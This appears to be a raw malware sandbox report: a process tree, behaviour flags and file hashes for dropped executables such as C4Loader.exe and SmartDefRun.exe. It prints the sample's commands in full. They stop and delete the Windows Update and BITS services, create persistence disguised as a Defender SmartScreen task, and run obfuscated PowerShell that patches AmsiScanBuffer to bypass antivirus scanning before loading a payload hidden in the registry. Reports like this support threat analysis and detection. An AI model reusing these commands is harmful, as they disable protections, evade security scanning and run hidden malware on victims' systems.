- Suspicious use of AdjustPrivilegeToken
PID:3248
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3864
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:624
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2584
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3984
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3728
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3972
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4012
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4640
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2184
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1928
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3184
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2192
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1872
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1072
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:bExIiokQOdAP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iDhADajlfaczpt,[Parameter(Position=1)][Type]$JnrhetWQZb)$aiklMetlQwL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+'r'+'y'+''+[Char](77)+'o'+'d'+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+'e','Cl'+'a'+''+'s'+''+'s'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+'S'+''+[Char](101)+'ale'+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$aiklMetlQwL.DefineConstructor('R'+[Char](84)+'Sp'+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+'l'+'N'+[Char](97)+'m'+[Char](101)+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+'ub'+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$iDhADajlfaczpt).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+'d');$aiklMetlQwL.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+','+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$JnrhetWQZb,$iDhADajlfaczpt).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $aiklMetlQwL.CreateType();}$jSveuktFnwMuI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+'.'+''+'d'+'ll')}).GetType(''+[Char](77)+''+'i'+'c'+[Char](114)+''+'o'+''+'s'+''+'o'+''+'f'+''+[Char](116)+'.'+'W'+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+[Char](85)+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](106)+''+'S'+''+'v'+'e'+'u'+'k'+'t'+'Fn'+[Char](119)+''+'M'+''+[Char](117)+''+[Char](73)+'');$bVkkLXonnTfTDk=$jSveuktFnwMuI.GetMethod(''+[Char](98)+''+'V'+''+[Char](107)+''+[Char](107)+''+[Char](76)+''+[Char](88)+''+[Char](111)+''+'n'+''+'n'+''+[Char](84)+''+[Char](102)+'T'+'D'+''+[Char](107)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HvQRxtqRrncozMUpwMK=bExIiokQOdAP @([String])([IntPtr]);$OwqBkjGsZIKFeAlvJaVxFM=bExIiokQOdAP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QSbBRZddFnd=$jSveuktFnwMuI.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+[Char](101)+''+'l'+''+'3'+''+'2'+'.d'+'l'+''+'l'+'')));$JKHKJhWVBixFsw=$bVkkLXonnTfTDk.Invoke($Null,@([Object]$QSbBRZddFnd,[Object](''+[Char](76)+''+'o'+'a'+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+'ry'+[Char](65)+'')));$YFvwiIIUgspyobxLq=$bVkkLXonnTfTDk.Invoke($Null,@([Object]$QSbBRZddFnd,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'ec'+[Char](116)+'')));$mDFQyny=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JKHKJhWVBixFsw,$HvQRxtqRrncozMUpwMK).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$CQOfeEveMyOIjFHeb=$bVkkLXonnTfTDk.Invoke($Null,@([Object]$mDFQyny,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+'n'+'B'+''+[Char](117)+''+'f'+'fer')));$GJCKUbqxkz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YFvwiIIUgspyobxLq,$OwqBkjGsZIKFeAlvJaVxFM).Invoke($CQOfeEveMyOIjFHeb,[uint32]8,4,[ref]$GJCKUbqxkz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$CQOfeEveMyOIjFHeb,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YFvwiIIUgspyobxLq,$OwqBkjGsZIKFeAlvJaVxFM).Invoke($CQOfeEveMyOIjFHeb,[uint32]8,0x20,[ref]$GJCKUbqxkz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+'RE').GetValue('d'+[Char](105)+''+'a'+''+'l'+'e'+[Char](114)+''+[Char](115)+'ta'+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1656
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kbWAVJbuqAdc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bKnFOjSILMpeRw,[Parameter(Position=1)][Type]$SpAmSUIIkU)$UqtQXTAWOUo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+'e'+[Char](99)+''+'t'+''+'e'+''+[Char](100)+'D'+'e'+'l'+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'eT'+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+'s'+''+','+''+[Char](65)+'ut'+[Char](111)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UqtQXTAWOUo.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+''+[Char](101)+'cia'+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$bKnFOjSILMpeRw).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$UqtQXTAWOUo.DefineMethod(''+'I'+'n'+'v'+''+'o'+'k'+'e'+'',''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+','+'N'+''+[Char](101)+''+'w'+'S'+[Char](108)+'ot'+','+''+'V'+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$SpAmSUIIkU,$bKnFOjSILMpeRw).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $UqtQXTAWOUo.CreateType();}$BdyfLBaYBRXLK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+'t'+''+'.'+''+[Char](87)+''+'i'+''+'n'+''+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](66)+''+'d'+''+[Char](121)+''+[Char](102)+''+[Char](76)+''+'B'+'aYBR'+[Char](88)+''+[Char](76)+'K');$BzlrqzLgGWbAcj=$BdyfLBaYBRXLK.GetMethod(''+'B'+'zl'+[Char](114)+''+[Char](113)+'z'+'L'+''+[Char](103)+'G'+'W'+'b'+[Char](65)+''+[Char](99)+''+[Char](106)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+'t'+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UgHArXKbLGqUFyLrjGr=kbWAVJbuqAdc @([String])([IntPtr]);$VpcIiVEdpPTQwZVaqUGIbY=kbWAVJbuqAdc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iNjcghyNdvW=$BdyfLBaYBRXLK.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'Modul'+[Char](101)+'H'+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+'e'+''+'l'+''+[Char](51)+''+'2'+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$DARKkdXDSJHDHi=$BzlrqzLgGWbAcj.Invoke($Null,@([Object]$iNjcghyNdvW,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+'A'+'')));$LvsRpNbZfRpyPtRUf=$BzlrqzLgGWbAcj.Invoke($Null,@([Object]$iNjcghyNdvW,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+''+'r'+'o'+[Char](116)+''+[Char](101)+''+'c'+''+'t'+'')));$vtixvoq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DARKkdXDSJHDHi,$UgHArXKbLGqUFyLrjGr).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$lMRYqabjvlCjbYVos=$BzlrqzLgGWbAcj.Invoke($Null,@([Object]$vtixvoq,[Object](''+[Char](65)+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+'a'+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'e'+'r'+'')));$SPIcNEpSwA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LvsRpNbZfRpyPtRUf,$VpcIiVEdpPTQwZVaqUGIbY).Invoke($lMRYqabjvlCjbYVos,[uint32]8,4,[ref]$SPIcNEpSwA);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$lMRYqabjvlCjbYVos,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LvsRpNbZfRpyPtRUf,$VpcIiVEdpPTQwZVaqUGIbY).Invoke($lMRYqabjvlCjbYVos,[uint32]8,0x20,[ref]$SPIcNEpSwA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+'WA'+'R'+'E').GetValue(''+'d'+''+[Char](105)+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:868
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 4736 -ip 47361⤵PID:2644
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2040 -ip 20401⤵PID:2592
Network
MITRE ATT&CK Enterprise v6
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 a5411c6639140444954588c14c4a064488972668be3dbdb7eec144c8d65fd956
- MD5 49a467c987733584d11c9e035081dd1b
- SHA1 aee2421e9e5d4d5f9ca9cbf69fe38667a3fb4166
- SHA512 8f4a36d3f599d93cde9d8a5857cdfeb1072bb2c4b2a79f1a70e0ed4f856af8f1dc1c4e74bcfed06813185723fd489b80cde8a3d1c61cc2174a038a89d55a80e4
- SSDEEP 384:Ysf++8/9i+lvAm7g3Oz6BkmJk+o9o2T5K6seY+d7/PNA3So7A4X3l/FazCHrQ0gB:1fgJh7ge+27jo2T5NltYSmF/IzCfnfY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
- MD5 a7ce8cefc3f798abe5abd683d0ef26dd
- SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
- SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 477KB
- SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
- MD5 3753f9966e5b4fdc87184c1749f2bd25
- SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
- SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
- SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 477KB
- SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
- MD5 3753f9966e5b4fdc87184c1749f2bd25
- SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
- SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
- SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
- MD5 SHA1 SHA512 SSDEEP